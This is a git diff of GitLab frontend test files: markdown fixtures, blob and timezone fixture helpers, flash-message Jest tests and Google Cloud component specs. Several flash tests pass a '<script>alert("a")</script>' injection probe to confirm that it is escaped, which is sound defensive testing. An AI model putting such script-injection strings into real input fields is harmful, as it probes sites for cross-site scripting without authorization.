- let(:project_wiki_page) { create(:wiki_page, wiki: project_wiki) }
-
- before(:all) do
- group.add_owner(user)
- project.add_maintainer(user)
- end
-
- before do
- sign_in(user)
- end
-
- markdown_examples = begin
- yaml_file_path = File.expand_path('api_markdown.yml', __dir__)
- yaml = File.read(yaml_file_path)
- YAML.safe_load(yaml, symbolize_names: true)
- end
-
- markdown_examples.each do |markdown_example|
- context = markdown_example.fetch(:context, '')
- name = markdown_example.fetch(:name)
-
- context "for #{name}#{!context.empty? ? " (context: #{context})" : ''}" do
- let(:markdown) { markdown_example.fetch(:markdown) }
-
- name = "#{context}_#{name}" unless context.empty?
-
- it "api/markdown/#{name}.json" do
- api_url = case context
- when 'project'
- "/#{project.full_path}/preview_markdown"
- when 'group'
- "/groups/#{group.full_path}/preview_markdown"
- when 'project_wiki'
- "/#{project.full_path}/-/wikis/#{project_wiki_page.slug}/preview_markdown"
- else
- api "/markdown"
- end
-
- post api_url, params: { text: markdown, gfm: true }
- expect(response).to be_successful
- end
- end
- end
-end
diff --git a/spec/frontend/fixtures/api_markdown.yml b/spec/frontend/fixtures/api_markdown.yml
deleted file mode 100644
index 8fd6a5531db..00000000000
--- a/spec/frontend/fixtures/api_markdown.yml
+++ /dev/null
@@ -1,289 +0,0 @@
-# This data file drives the specs in
-# spec/frontend/fixtures/api_markdown.rb and
-# spec/frontend/content_editor/extensions/markdown_processing_spec.js
----
-- name: attachment_image
- context: group
- markdown: '![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)'
-- name: attachment_image
- context: project
- markdown: '![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)'
-- name: attachment_image
- context: project_wiki
- markdown: '![test-file](test-file.png)'
-- name: attachment_link
- context: group
- markdown: '[test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)'
-- name: attachment_link
- context: project
- markdown: '[test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)'
-- name: attachment_link
- context: project_wiki
- markdown: '[test-file](test-file.zip)'
-- name: audio
- markdown: '![Sample Audio](https://gitlab.com/gitlab.mp3)'
-- name: audio_and_video_in_lists
- markdown: |-
- * ![Sample Audio](https://gitlab.com/1.mp3)
- * ![Sample Video](https://gitlab.com/2.mp4)
-
- 1. ![Sample Video](https://gitlab.com/1.mp4)
- 2. ![Sample Audio](https://gitlab.com/2.mp3)
-
- * [x] ![Sample Audio](https://gitlab.com/1.mp3)
- * [x] ![Sample Audio](https://gitlab.com/2.mp3)
- * [x] ![Sample Video](https://gitlab.com/3.mp4)
-- name: blockquote
- markdown: |-
- > This is a blockquote
- >
- > This is another one
-- name: bold
- markdown: '**bold**'
-- name: bullet_list_style_1
- markdown: |-
- * list item 1
- * list item 2
- * embedded list item 3
-- name: bullet_list_style_2
- markdown: |-
- - list item 1
- - list item 2
- * embedded list item 3
-- name: bullet_list_style_3
- markdown: |-
- + list item 1
- + list item 2
- - embedded list item 3
-- name: code_block
- markdown: |-
- ```javascript
- console.log('hello world')
- ```
-- name: color_chips
- markdown: |-
- - `#F00`
- - `#F00A`
- - `#FF0000`
- - `#FF0000AA`
- - `RGB(0,255,0)`
- - `RGB(0%,100%,0%)`
- - `RGBA(0,255,0,0.3)`
- - `HSL(540,70%,50%)`
- - `HSLA(540,70%,50%,0.3)`
-- name: description_list
- markdown: |-
- <dl>
- <dt>Frog</dt>
- <dd>Wet green thing</dd>
- <dt>Rabbit</dt>
- <dd>Warm fluffy thing</dd>
- <dt>Punt</dt>
- <dd>Kick a ball</dd>
- <dd>Take a bet</dd>
- <dt>Color</dt>
- <dt>Colour</dt>
- <dd>
-
- Any hue except _white_ or **black**
-
- </dd>
- </dl>
-- name: details
- markdown: |-
- <details>
- <summary>Apply this patch</summary>
-
- ```diff
- diff --git a/spec/frontend/fixtures/api_markdown.yml b/spec/frontend/fixtures/api_markdown.yml
- index 8433efaf00c..69b12c59d46 100644
- --- a/spec/frontend/fixtures/api_markdown.yml
- +++ b/spec/frontend/fixtures/api_markdown.yml
- @@ -33,6 +33,13 @@
- * <ruby>æ¼¢<rt>ã„ㄢˋ</rt></ruby>
- * C<sub>7</sub>H<sub>16</sub> + O<sub>2</sub> → CO<sub>2</sub> + H<sub>2</sub>O
- * The **Pythagorean theorem** is often expressed as <var>a<sup>2</sup></var> + <var>b<sup>2</sup></var> = <var>c<sup>2</sup></var>.The **Pythagorean theorem** is often expressed as <var>a<sup>2</sup></var> + <var>b<sup>2</sup></var> = <var>c<sup>2</sup></var>
- +- name: details
- + markdown: |-
- + <details>
- + <summary>Apply this patch</summary>
- +
- + 🶠much meta, 🶠many patch
- + 🶠such diff, 🶠very meme
- + 🶠wow!
- + </details>
- - name: link
- markdown: '[GitLab](https://gitlab.com)'
- - name: attachment_link
- ```
-
- </details>
-- name: div
- markdown: |-
- <div>plain text</div>
- <div>
-
- just a plain ol' div, not much to _expect_!
-
- </div>
-- name: emoji
- markdown: ':sparkles: :heart: :100:'
-- name: emphasis
- markdown: '_emphasized text_'
-- name: figure
- markdown: |-
- <figure>
-
- ![Elephant at sunset](elephant-sunset.jpg)
-
- <figcaption>An elephant at sunset</figcaption>
- </figure>
- <figure>
-
- ![A crocodile wearing crocs](croc-crocs.jpg)
-
- <figcaption>
-
- A crocodile wearing _crocs_!
-
- </figcaption>
- </figure>
-- name: frontmatter_json
- markdown: |-
- ;;;
- {
- "title": "Page title"
- }
- ;;;
-- name: frontmatter_toml
- markdown: |-
- +++
- title = "Page title"
- +++
-- name: frontmatter_yaml
- markdown: |-
- ---
- title: Page title
- ---
-- name: hard_break
- markdown: |-
- This is a line after a\
- hard break
-- name: headings
- markdown: |-
- # Heading 1
-
- ## Heading 2
-
- ### Heading 3
-
- #### Heading 4
-
- ##### Heading 5
-
- ###### Heading 6
-- name: horizontal_rule
- markdown: '---'
-- name: html_marks
- markdown: |-
- * Content editor is ~~great~~<ins>amazing</ins>.
- * If the changes <abbr title="Looks good to merge">LGTM</abbr>, please <abbr title="Merge when pipeline succeeds">MWPS</abbr>.
- * The English song <q>Oh I do like to be beside the seaside</q> looks like this in Hebrew: <span dir="rtl">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</span>. In the computer's memory, this is stored as <bdo dir="ltr">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</bdo>.
- * <cite>The Scream</cite> by Edvard Munch. Painted in 1893.
- * <dfn>HTML</dfn> is the standard markup language for creating web pages.
- * Do not forget to buy <mark>milk</mark> today.
- * This is a paragraph and <small>smaller text goes here</small>.
- * The concert starts at <time datetime="20:00">20:00</time> and you'll be able to enjoy the band for at least <time datetime="PT2H30M">2h 30m</time>.
- * Press <kbd>Ctrl</kbd> + <kbd>C</kbd> to copy text (Windows).
- * WWF's goal is to: <q>Build a future where people live in harmony with nature.</q> We hope they succeed.
- * The error occured was: <samp>Keyboard not found. Press F1 to continue.</samp>
- * The area of a triangle is: 1/2 x <var>b</var> x <var>h</var>, where <var>b</var> is the base, and <var>h</var> is the vertical height.
- * <ruby>æ¼¢<rt>ã„ㄢˋ</rt></ruby>
- * C<sub>7</sub>H<sub>16</sub> + O<sub>2</sub> → CO<sub>2</sub> + H<sub>2</sub>O
- * The **Pythagorean theorem** is often expressed as <var>a<sup>2</sup></var> + <var>b<sup>2</sup></var> = <var>c<sup>2</sup></var>
-- name: image
- markdown: '![alt text](https://gitlab.com/logo.png)'
-- name: inline_code
- markdown: '`code`'
-- name: inline_diff
- markdown: |-
- * {-deleted-}
- * {+added+}
-- name: link
- markdown: '[GitLab](https://gitlab.com)'
-- name: math
- markdown: |-
- This math is inline $`a^2+b^2=c^2`$.
-
- This is on a separate line:
-
- ```math
- a^2+b^2=c^2
- ```
-- name: ordered_list
- markdown: |-
- 1. list item 1
- 2. list item 2
- 3. list item 3
-- name: ordered_list_with_start_order
- markdown: |-
- 134. list item 1
- 135. list item 2
- 136. list item 3
-- name: ordered_task_list
- markdown: |-
- 1. [x] hello
- 2. [x] world
- 3. [ ] example
- 1. [ ] of nested
- 1. [x] task list
- 2. [ ] items
-- name: ordered_task_list_with_order
- markdown: |-
- 4893. [x] hello
- 4894. [x] world
- 4895. [ ] example
-- name: reference
- context: project_wiki
- markdown: |-
- Hi @gitlab - thank you for reporting this ~bug (#1) we hope to fix it in %1.1 as part of !1
-- name: strike
- markdown: '~~del~~'
-- name: table
- markdown: |-
- | header | header |
- |--------|--------|
- | `code` | cell with **bold** |
- | ~~strike~~ | cell with _italic_ |
-
- # content after table
-- name: table_of_contents
- markdown: |-
- [[_TOC_]]
-
- # Lorem
-
- Well, that's just like... your opinion.. man.
-
- ## Ipsum
-
- ### Dolar
-
- # Sit amit
-
- ### I don't know
-- name: task_list
- markdown: |-
- * [x] hello
- * [x] world
- * [ ] example
- * [ ] of nested
- * [x] task list
- * [ ] items
-- name: thematic_break
- markdown: |-
- ---
-- name: video
- markdown: '![Sample Video](https://gitlab.com/gitlab.mp4)'
-- name: word_break
- markdown: Fernstraßen<wbr>bau<wbr>privat<wbr>finanzierungs<wbr>gesetz
diff --git a/spec/frontend/fixtures/blob.rb b/spec/frontend/fixtures/blob.rb
index f90e3662e98..bfdeee0881b 100644
--- a/spec/frontend/fixtures/blob.rb
+++ b/spec/frontend/fixtures/blob.rb
@@ -34,7 +34,7 @@ RSpec.describe Projects::BlobController, '(JavaScript fixtures)', type: :control
get(:show, params: {
namespace_id: project.namespace,
project_id: project,
- id: 'master/README.md'
+ id: "#{project.default_branch}/README.md"
})
expect(response).to be_successful
diff --git a/spec/frontend/fixtures/projects.rb b/spec/frontend/fixtures/projects.rb
index 23c18c97df2..3c8964d398a 100644
--- a/spec/frontend/fixtures/projects.rb
+++ b/spec/frontend/fixtures/projects.rb
@@ -65,31 +65,5 @@ RSpec.describe 'Projects (JavaScript fixtures)', type: :controller do
expect_graphql_errors_to_be_empty
end
end
-
- context 'project storage count query' do
- before do
- project.statistics.update!(
- repository_size: 3900000,
- lfs_objects_size: 4800000,
- build_artifacts_size: 400000,
- pipeline_artifacts_size: 400000,
- wiki_size: 300000,
- packages_size: 3800000,
- uploads_size: 900000
- )
- end
-
- base_input_path = 'projects/storage_counter/queries/'
- base_output_path = 'graphql/projects/storage_counter/'
- query_name = 'project_storage.query.graphql'
-
- it "#{base_output_path}#{query_name}.json" do
- query = get_graphql_query_as_string("#{base_input_path}#{query_name}")
-
- post_graphql(query, current_user: user, variables: { fullPath: project.full_path })
-
- expect_graphql_errors_to_be_empty
- end
- end
end
end
diff --git a/spec/frontend/fixtures/raw.rb b/spec/frontend/fixtures/raw.rb
index 211c4e7c048..b117cfea5fa 100644
--- a/spec/frontend/fixtures/raw.rb
+++ b/spec/frontend/fixtures/raw.rb
@@ -7,41 +7,45 @@ RSpec.describe 'Raw files', '(JavaScript fixtures)' do
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project, :repository, namespace: namespace, path: 'raw-project') }
- let(:response) { @blob.data.force_encoding('UTF-8') }
+ let(:response) { @response }
+
+ def blob_at(commit, path)
+ @response = project.repository.blob_at(commit, path).data.force_encoding('UTF-8')
+ end
after do
remove_repository(project)
end
it 'blob/notebook/basic.json' do
- @blob = project.repository.blob_at('6d85bb69', 'files/ipython/basic.ipynb')
+ blob_at('6d85bb69', 'files/ipython/basic.ipynb')
end
it 'blob/notebook/markdown-table.json' do
- @blob = project.repository.blob_at('f6b7a707', 'files/ipython/markdown-table.ipynb')
+ blob_at('f6b7a707', 'files/ipython/markdown-table.ipynb')
end
it 'blob/notebook/worksheets.json' do
- @blob = project.repository.blob_at('6d85bb69', 'files/ipython/worksheets.ipynb')
+ blob_at('6d85bb69', 'files/ipython/worksheets.ipynb')
end
it 'blob/notebook/math.json' do
- @blob = project.repository.blob_at('93ee732', 'files/ipython/math.ipynb')
+ blob_at('93ee732', 'files/ipython/math.ipynb')
end
it 'blob/pdf/test.pdf' do
- @blob = project.repository.blob_at('e774ebd33', 'files/pdf/test.pdf')
+ blob_at('e774ebd33', 'files/pdf/test.pdf')
end
it 'blob/text/README.md' do
- @blob = project.repository.blob_at('e774ebd33', 'README.md')
+ blob_at('e774ebd33', 'README.md')
end
it 'blob/images/logo-white.png' do
- @blob = project.repository.blob_at('e774ebd33', 'files/images/logo-white.png')
+ blob_at('e774ebd33', 'files/images/logo-white.png')
end
it 'blob/binary/Gemfile.zip' do
- @blob = project.repository.blob_at('e774ebd33', 'Gemfile.zip')
+ blob_at('e774ebd33', 'Gemfile.zip')
end
end
diff --git a/spec/frontend/fixtures/tabs.rb b/spec/frontend/fixtures/tabs.rb
new file mode 100644
index 00000000000..697ff1c7c20
--- /dev/null
+++ b/spec/frontend/fixtures/tabs.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'GlTabsBehavior', '(JavaScript fixtures)', type: :helper do
+ include JavaScriptFixturesHelpers
+ include TabHelper
+
+ let(:response) { @tabs }
+
+ it 'tabs/tabs.html' do
+ tabs = gl_tabs_nav({ data: { testid: 'tabs' } }) do
+ gl_tab_link_to('Foo', '#foo', item_active: true, data: { testid: 'foo-tab' }) +
+ gl_tab_link_to('Bar', '#bar', item_active: false, data: { testid: 'bar-tab' }) +
+ gl_tab_link_to('Qux', '#qux', item_active: false, data: { testid: 'qux-tab' })
+ end
+
+ panels = content_tag(:div, class: 'tab-content') do
+ content_tag(:div, 'Foo', { id: 'foo', class: 'tab-pane active', data: { testid: 'foo-panel' } }) +
+ content_tag(:div, 'Bar', { id: 'bar', class: 'tab-pane', data: { testid: 'bar-panel' } }) +
+ content_tag(:div, 'Qux', { id: 'qux', class: 'tab-pane', data: { testid: 'qux-panel' } })
+ end
+
+ @tabs = tabs + panels
+ end
+end
diff --git a/spec/frontend/fixtures/timezones.rb b/spec/frontend/fixtures/timezones.rb
index 157f47855ea..2393f4e797d 100644
--- a/spec/frontend/fixtures/timezones.rb
+++ b/spec/frontend/fixtures/timezones.rb
@@ -8,11 +8,9 @@ RSpec.describe TimeZoneHelper, '(JavaScript fixtures)' do
let(:response) { @timezones.sort_by! { |tz| tz[:name] }.to_json }
- it 'timezones/short.json' do
- @timezones = timezone_data(format: :short)
- end
-
- it 'timezones/full.json' do
- @timezones = timezone_data(format: :full)
+ %I[short abbr full].each do |format|
+ it "timezones/#{format}.json" do
+ @timezones = timezone_data(format: format)
+ end
end
end
diff --git a/spec/frontend/flash_spec.js b/spec/frontend/flash_spec.js
index f7bde8d2f16..fc736f2d155 100644
--- a/spec/frontend/flash_spec.js
+++ b/spec/frontend/flash_spec.js
@@ -1,38 +1,14 @@
+import * as Sentry from '@sentry/browser';
import createFlash, {
- createFlashEl,
- createAction,
hideFlash,
- removeFlashClickListener,
+ addDismissFlashClickListener,
+ FLASH_TYPES,
FLASH_CLOSED_EVENT,
} from '~/flash';
-describe('Flash', () => {
- describe('createFlashEl', () => {
- let el;
-
- beforeEach(() => {
- el = document.createElement('div');
- });
-
- afterEach(() => {
- el.innerHTML = '';
- });
-
- it('creates flash element with type', () => {
- el.innerHTML = createFlashEl('testing', 'alert');
-
- expect(el.querySelector('.flash-alert')).not.toBeNull();
- });
-
- it('escapes text', () => {
- el.innerHTML = createFlashEl('<script>alert("a");</script>', 'alert');
-
- expect(el.querySelector('.flash-text').textContent.trim()).toBe(
- '<script>alert("a");</script>',
- );
- });
- });
+jest.mock('@sentry/browser');
+describe('Flash', () => {
describe('hideFlash', () => {
let el;
@@ -92,59 +68,12 @@ describe('Flash', () => {
});
});
- describe('createAction', () => {
- let el;
-
- beforeEach(() => {
- el = document.createElement('div');
- });
-
- it('creates link with href', () => {
- el.innerHTML = createAction({
- href: 'testing',
- title: 'test',
- });
-
- expect(el.querySelector('.flash-action').href).toContain('testing');
- });
-
- it('uses hash as href when no href is present', () => {
- el.innerHTML = createAction({
- title: 'test',
- });
-
- expect(el.querySelector('.flash-action').href).toContain('#');
- });
-
- it('adds role when no href is present', () => {
- el.innerHTML = createAction({
- title: 'test',
- });
-
- expect(el.querySelector('.flash-action').getAttribute('role')).toBe('button');
- });
-
- it('escapes the title text', () => {
- el.innerHTML = createAction({
- title: '<script>alert("a")</script>',
- });
-
- expect(el.querySelector('.flash-action').textContent.trim()).toBe(
- '<script>alert("a")</script>',
- );
- });
- });
-
describe('createFlash', () => {
const message = 'test';
- const type = 'alert';
- const parent = document;
const fadeTransition = false;
const addBodyClass = true;
const defaultParams = {
message,
- type,
- parent,
actionConfig: null,
fadeTransition,
addBodyClass,
@@ -171,14 +100,28 @@ describe('Flash', () => {
document.querySelector('.js-content-wrapper').remove();
});
- it('adds flash element into container', () => {
+ it('adds flash alert element into the document by default', () => {
createFlash({ ...defaultParams });
- expect(document.querySelector('.flash-alert')).not.toBeNull();
+ expect(document.querySelector('.flash-container .flash-alert')).not.toBeNull();
+ expect(document.body.className).toContain('flash-shown');
+ });
+
+ it('adds flash of a warning type', () => {
+ createFlash({ ...defaultParams, type: FLASH_TYPES.WARNING });
+ expect(document.querySelector('.flash-container .flash-warning')).not.toBeNull();
expect(document.body.className).toContain('flash-shown');
});
+ it('escapes text', () => {
+ createFlash({ ...defaultParams, message: '<script>alert("a");</script>' });
+
+ expect(document.querySelector('.flash-text').textContent.trim()).toBe(
+ '<script>alert("a");</script>',
+ );
+ });
+
it('adds flash into specified parent', () => {
createFlash({ ...defaultParams, parent: document.querySelector('.content-wrapper') });
@@ -210,7 +153,26 @@ describe('Flash', () => {
expect(document.body.className).not.toContain('flash-shown');
});
+ it('does not capture error using Sentry', () => {
+ createFlash({ ...defaultParams, captureError: false, error: new Error('Error!') });
+
+ expect(Sentry.captureException).not.toHaveBeenCalled();
+ });
+
+ it('captures error using Sentry', () => {
+ createFlash({ ...defaultParams, captureError: true, error: new Error('Error!') });
+
+ expect(Sentry.captureException).toHaveBeenCalledWith(expect.any(Error));
+ expect(Sentry.captureException).toHaveBeenCalledWith(
+ expect.objectContaining({
+ message: 'Error!',
+ }),
+ );
+ });
+
describe('with actionConfig', () => {
+ const findFlashAction = () => document.querySelector('.flash-container .flash-action');
+
it('adds action link', () => {
createFlash({
...defaultParams,
@@ -219,20 +181,69 @@ describe('Flash', () => {
},
});
- expect(document.querySelector('.flash-action')).not.toBeNull();
+ expect(findFlashAction()).not.toBeNull();
+ });
+
+ it('creates link with href', () => {
+ createFlash({
+ ...defaultParams,
+ actionConfig: {
+ href: 'testing',
+ title: 'test',
+ },
+ });
+
+ expect(findFlashAction().href).toBe(`${window.location}testing`);
+ expect(findFlashAction().textContent.trim()).toBe('test');
+ });
+
+ it('uses hash as href when no href is present', () => {
+ createFlash({
+ ...defaultParams,
+ actionConfig: {
+ title: 'test',
+ },
+ });
+
+ expect(findFlashAction().href).toBe(`${window.location}#`);
+ });
+
+ it('adds role when no href is present', () => {
+ createFlash({
+ ...defaultParams,
+ actionConfig: {
+ title: 'test',
+ },
+ });
+
+ expect(findFlashAction().getAttribute('role')).toBe('button');
+ });
+
+ it('escapes the title text', () => {
+ createFlash({
+ ...defaultParams,
+ actionConfig: {
+ title: '<script>alert("a")</script>',
+ },
+ });
+
+ expect(findFlashAction().textContent.trim()).toBe('<script>alert("a")</script>');
});
it('calls actionConfig clickHandler on click', () => {
- const actionConfig = {
- title: 'test',
- clickHandler: jest.fn(),
- };
+ const clickHandler = jest.fn();
- createFlash({ ...defaultParams, actionConfig });
+ createFlash({
+ ...defaultParams,
+ actionConfig: {
+ title: 'test',
+ clickHandler,
+ },
+ });
- document.querySelector('.flash-action').click();
+ findFlashAction().click();
- expect(actionConfig.clickHandler).toHaveBeenCalled();
+ expect(clickHandler).toHaveBeenCalled();
});
});
@@ -252,7 +263,7 @@ describe('Flash', () => {
});
});
- describe('removeFlashClickListener', () => {
+ describe('addDismissFlashClickListener', () => {
let el;
describe('with close icon', () => {
@@ -268,7 +279,7 @@ describe('Flash', () => {
});
it('removes global flash on click', (done) => {
- removeFlashClickListener(el, false);
+ addDismissFlashClickListener(el, false);
el.querySelector('.js-close-icon').click();
@@ -292,7 +303,7 @@ describe('Flash', () => {
});
it('does not throw', () => {
- expect(() => removeFlashClickListener(el, false)).not.toThrow();
+ expect(() => addDismissFlashClickListener(el, false)).not.toThrow();
});
});
});
diff --git a/spec/frontend/gfm_auto_complete_spec.js b/spec/frontend/gfm_auto_complete_spec.js
index 631e3307f7f..1ab3286fe4c 100644
--- a/spec/frontend/gfm_auto_complete_spec.js
+++ b/spec/frontend/gfm_auto_complete_spec.js
@@ -3,7 +3,7 @@ import MockAdapter from 'axios-mock-adapter';
import $ from 'jquery';
import labelsFixture from 'test_fixtures/autocomplete_sources/labels.json';
import GfmAutoComplete, { membersBeforeSave, highlighter } from 'ee_else_ce/gfm_auto_complete';
-import { initEmojiMock } from 'helpers/emoji';
+import { initEmojiMock, clearEmojiMock } from 'helpers/emoji';
import '~/lib/utils/jquery_at_who';
import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
@@ -803,8 +803,6 @@ describe('GfmAutoComplete', () => {
});
describe('emoji', () => {
- let mock;
-
const mockItem = {
'atwho-at': ':',
emoji: {
@@ -818,14 +816,14 @@ describe('GfmAutoComplete', () => {
};
beforeEach(async () => {
- mock = await initEmojiMock();
+ await initEmojiMock();
await new GfmAutoComplete({}).loadEmojiData({ atwho() {}, trigger() {} }, ':');
if (!GfmAutoComplete.glEmojiTag) throw new Error('emoji not loaded');
});
afterEach(() => {
- mock.restore();
+ clearEmojiMock();
});
describe('Emoji.templateFunction', () => {
diff --git a/spec/frontend/google_cloud/components/app_spec.js b/spec/frontend/google_cloud/components/app_spec.js
index bb86eb5c22e..570ac1e6ed1 100644
--- a/spec/frontend/google_cloud/components/app_spec.js
+++ b/spec/frontend/google_cloud/components/app_spec.js
@@ -1,65 +1,71 @@
import { shallowMount } from '@vue/test-utils';
-import { GlTab, GlTabs } from '@gitlab/ui';
+import { mapValues } from 'lodash';
import App from '~/google_cloud/components/app.vue';
+import Home from '~/google_cloud/components/home.vue';
import IncubationBanner from '~/google_cloud/components/incubation_banner.vue';
-import ServiceAccounts from '~/google_cloud/components/service_accounts.vue';
+import ServiceAccountsForm from '~/google_cloud/components/service_accounts_form.vue';
+import GcpError from '~/google_cloud/components/errors/gcp_error.vue';
+import NoGcpProjects from '~/google_cloud/components/errors/no_gcp_projects.vue';
+
+const BASE_FEEDBACK_URL =
+ 'https://gitlab.com/gitlab-org/incubation-engineering/five-minute-production/meta/-/issues/new';
+const SCREEN_COMPONENTS = {
+ Home,
+ ServiceAccountsForm,
+ GcpError,
+ NoGcpProjects,
+};
+const SERVICE_ACCOUNTS_FORM_PROPS = {
+ gcpProjects: [1, 2, 3],
+ environments: [4, 5, 6],
+ cancelPath: '',
+};
+const HOME_PROPS = {
+ serviceAccounts: [{}, {}],
+ createServiceAccountUrl: '#url-create-service-account',
+ emptyIllustrationUrl: '#url-empty-illustration',
+};
describe('google_cloud App component', () => {
let wrapper;
const findIncubationBanner = () => wrapper.findComponent(IncubationBanner);
- const findTabs = () => wrapper.findComponent(GlTabs);
- const findTabItems = () => findTabs().findAllComponents(GlTab);
- const findConfigurationTab = () => findTabItems().at(0);
- const findDeploymentTab = () => findTabItems().at(1);
- const findServicesTab = () => findTabItems().at(2);
- const findServiceAccounts = () => findConfigurationTab().findComponent(ServiceAccounts);
-
- beforeEach(() => {
- const propsData = {
- serviceAccounts: [{}, {}],
- createServiceAccountUrl: '#url-create-service-account',
- emptyIllustrationUrl: '#url-empty-illustration',
- };
- wrapper = shallowMount(App, { propsData });
- });
afterEach(() => {
wrapper.destroy();
});
- it('should contain incubation banner', () => {
- expect(findIncubationBanner().exists()).toBe(true);
- });
-
- describe('google_cloud App tabs', () => {
- it('should contain tabs', () => {
- expect(findTabs().exists()).toBe(true);
- });
+ describe.each`
+ screen | extraProps | componentName
+ ${'gcp_error'} | ${{ error: 'mock_gcp_client_error' }} | ${'GcpError'}
+ ${'no_gcp_projects'} | ${{}} | ${'NoGcpProjects'}
+ ${'service_accounts_form'} | ${SERVICE_ACCOUNTS_FORM_PROPS} | ${'ServiceAccountsForm'}
+ ${'home'} | ${HOME_PROPS} | ${'Home'}
+ `('for screen=$screen', ({ screen, extraProps, componentName }) => {
+ const component = SCREEN_COMPONENTS[componentName];
- it('should contain three tab items', () => {
- expect(findTabItems().length).toBe(3);
+ beforeEach(() => {
+ wrapper = shallowMount(App, { propsData: { screen, ...extraProps } });
});
- describe('configuration tab', () => {
- it('should exist', () => {
- expect(findConfigurationTab().exists()).toBe(true);
- });
+ it(`renders only ${componentName}`, () => {
+ const existences = mapValues(SCREEN_COMPONENTS, (x) => wrapper.findComponent(x).exists());
- it('should contain service accounts component', () => {
- expect(findServiceAccounts().exists()).toBe(true);
+ expect(existences).toEqual({
+ ...mapValues(SCREEN_COMPONENTS, () => false),
+ [componentName]: true,
});
});
- describe('deployments tab', () => {
- it('should exist', () => {
- expect(findDeploymentTab().exists()).toBe(true);
- });
+ it(`renders the ${componentName} with props`, () => {
+ expect(wrapper.findComponent(component).props()).toEqual(extraProps);
});
- describe('services tab', () => {
- it('should exist', () => {
- expect(findServicesTab().exists()).toBe(true);
+ it('renders incubation banner', () => {
+ expect(findIncubationBanner().props()).toEqual({
+ shareFeedbackUrl: `${BASE_FEEDBACK_URL}?issuable_template=general_feedback`,
+ reportBugUrl: `${BASE_FEEDBACK_URL}?issuable_template=report_bug`,
+ featureRequestUrl: `${BASE_FEEDBACK_URL}?issuable_template=feature_request`,
});
});
});
diff --git a/spec/frontend/google_cloud/components/errors/gcp_error_spec.js b/spec/frontend/google_cloud/components/errors/gcp_error_spec.js
new file mode 100644
index 00000000000..4062a8b902a
--- /dev/null
+++ b/spec/frontend/google_cloud/components/errors/gcp_error_spec.js
@@ -0,0 +1,34 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlAlert } from '@gitlab/ui';
+import GcpError from '~/google_cloud/components/errors/gcp_error.vue';
+
+describe('GcpError component', () => {
+ let wrapper;
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findBlockquote = () => wrapper.find('blockquote');
+
+ const propsData = { error: 'IAM and CloudResourceManager API disabled' };
+
+ beforeEach(() => {
+ wrapper = shallowMount(GcpError, { propsData });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('contains alert', () => {
+ expect(findAlert().exists()).toBe(true);
+ });
+
+ it('contains relevant text', () => {
+ const alertText = findAlert().text();
+ expect(findAlert().props('title')).toBe(GcpError.i18n.title);
+ expect(alertText).toContain(GcpError.i18n.description);
+ });
+
+ it('contains error stacktrace', () => {
+ expect(findBlockquote().text()).toBe(propsData.error);
+ });
+});
diff --git a/spec/frontend/google_cloud/components/errors/no_gcp_projects_spec.js b/spec/frontend/google_cloud/components/errors/no_gcp_projects_spec.js
new file mode 100644
index 00000000000..e1e20377880
--- /dev/null
+++ b/spec/frontend/google_cloud/components/errors/no_gcp_projects_spec.js
@@ -0,0 +1,33 @@
+import { mount } from '@vue/test-utils';
+import { GlAlert, GlButton } from '@gitlab/ui';
+import NoGcpProjects from '~/google_cloud/components/errors/no_gcp_projects.vue';
+
+describe('NoGcpProjects component', () => {
+ let wrapper;
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findButton = () => wrapper.findComponent(GlButton);
+
+ beforeEach(() => {
+ wrapper = mount(NoGcpProjects);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('contains alert', () => {
+ expect(findAlert().exists()).toBe(true);
+ });
+
+ it('contains relevant text', () => {
+ expect(findAlert().props('title')).toBe(NoGcpProjects.i18n.title);
+ expect(findAlert().text()).toContain(NoGcpProjects.i18n.description);
+ });
+
+ it('contains create gcp project button', () => {
+ const button = findButton();
+ expect(button.text()).toBe(NoGcpProjects.i18n.createLabel);
+ expect(button.attributes('href')).toBe('https://console.cloud.google.com/projectcreate');
+ });
+});
diff --git a/spec/frontend/google_cloud/components/home_spec.js b/spec/frontend/google_cloud/components/home_spec.js
new file mode 100644
index 00000000000..9b4c3a79f11
--- /dev/null
+++ b/spec/frontend/google_cloud/components/home_spec.js
@@ -0,0 +1,61 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlTab, GlTabs } from '@gitlab/ui';
+import Home from '~/google_cloud/components/home.vue';
+import ServiceAccountsList from '~/google_cloud/components/service_accounts_list.vue';
+
+describe('google_cloud Home component', () => {
+ let wrapper;
+
+ const findTabs = () => wrapper.findComponent(GlTabs);
+ const findTabItems = () => findTabs().findAllComponents(GlTab);
+ const findTabItemsModel = () =>
+ findTabs()
+ .findAllComponents(GlTab)
+ .wrappers.map((x) => ({
+ title: x.attributes('title'),
+ disabled: x.attributes('disabled'),
+ }));
+
+ const TEST_HOME_PROPS = {
+ serviceAccounts: [{}, {}],
+ createServiceAccountUrl: '#url-create-service-account',
+ emptyIllustrationUrl: '#url-empty-illustration',
+ };
+
+ beforeEach(() => {
+ const propsData = {
+ screen: 'home',
+ ...TEST_HOME_PROPS,
+ };
+ wrapper = shallowMount(Home, { propsData });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('google_cloud App tabs', () => {
+ it('should contain tabs', () => {
+ expect(findTabs().exists()).toBe(true);
+ });
+
+ it('should contain three tab items', () => {
+ expect(findTabItemsModel()).toEqual([
+ { title: 'Configuration', disabled: undefined },
+ { title: 'Deployments', disabled: '' },
+ { title: 'Services', disabled: '' },
+ ]);
+ });
+
+ describe('configuration tab', () => {
+ it('should contain service accounts component', () => {
+ const serviceAccounts = findTabItems().at(0).findComponent(ServiceAccountsList);
+ expect(serviceAccounts.props()).toEqual({
+ list: TEST_HOME_PROPS.serviceAccounts,
